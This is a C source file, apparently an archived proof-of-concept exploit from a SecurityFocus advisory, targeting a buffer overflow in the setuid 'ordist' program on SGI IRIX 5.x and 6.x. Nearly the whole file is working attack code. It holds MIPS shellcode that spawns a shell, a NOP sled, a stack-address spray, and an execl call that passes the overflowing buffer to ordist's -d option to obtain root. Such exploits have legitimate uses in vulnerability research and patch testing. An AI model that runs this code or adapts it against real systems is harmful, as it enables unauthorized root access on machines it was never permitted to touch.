64 lines
No EOL
1.9 KiB
C
64 lines
No EOL
1.9 KiB
C
// source: https://www.securityfocus.com/bid/415/info
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A buffer overflow exists in the ordist program, as shipped with Irix 6.x and 5.x from Silicon Graphics. By supplying long arguments to the '-d' option, containing a properly crafted buffer of machine exectuable code, root privilege can be obtained.
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#include <stdlib.h>
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#include <fcntl.h>
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#define BUFSIZE 306
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#define OFFS 800
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#define ADDRS 2
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#define ALIGN 2
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void run(unsigned char *buf) {
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execl("/usr/bsd/ordist", "ordist", "-d", buf, "-d", buf, NULL);
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printf("execl failed\n");
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}
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char asmcode[]="\x3c\x18\x2f\x62\x37\x18\x69\x6e\x3c\x19\x2f\x73\x37\x39\x68\x2e\xaf\xb8\xff\xf8\xaf\xb9\xff\xfc\xa3\xa0\xff\xff\x27\xa4\xff\xf8\x27\xa5\xff\xf0\x01\x60\x30\x24\xaf\xa4\xff\xf0\xaf\xa0\xff\xf4\x24\x02\x04\x23\x02\x04\x8d\x0c";
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char nop[]="\x24\x0f\x12\x34";
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unsigned long get_sp(void) {
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__asm__("or $2,$sp,$0");
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}
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/* this align stuff sux - i do know. */
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main(int argc, char *argv[]) {
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char *buf, *ptr, addr[8];
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int offs=OFFS, bufsize=BUFSIZE, addrs=ADDRS, align=ALIGN;
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int i, noplen=strlen(nop);
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if (argc >1) bufsize=atoi(argv[1]);
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if (argc >2) offs=atoi(argv[2]);
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if (argc >3) addrs=atoi(argv[3]);
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if (argc >4) align=atoi(argv[4]);
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if (bufsize<strlen(asmcode)) {
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printf("bufsize too small, code is %d bytes long\n", strlen(asmcode));
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exit(1);
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}
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if ((buf=malloc(bufsize+ADDRS<<2+noplen+1))==NULL) {
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printf("Can't malloc\n");
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exit(1);
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}
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*(int *)addr=get_sp()+offs;
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printf("address - %p\n", *(int *)addr);
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strcpy(buf, nop);
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ptr=buf+noplen;
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buf+=noplen-bufsize % noplen;
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bufsize-=bufsize % noplen;
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for (i=0; i<bufsize; i++)
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*ptr++=nop[i % noplen];
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memcpy(ptr-strlen(asmcode), asmcode, strlen(asmcode));
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memcpy(ptr, nop, strlen(nop));
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ptr+=align;
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for (i=0; i<addrs<<2; i++)
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*ptr++=addr[i % sizeof(int)];
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*ptr=0;
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printf("total buf len - %d\n", strlen(buf));
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run(buf);
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} |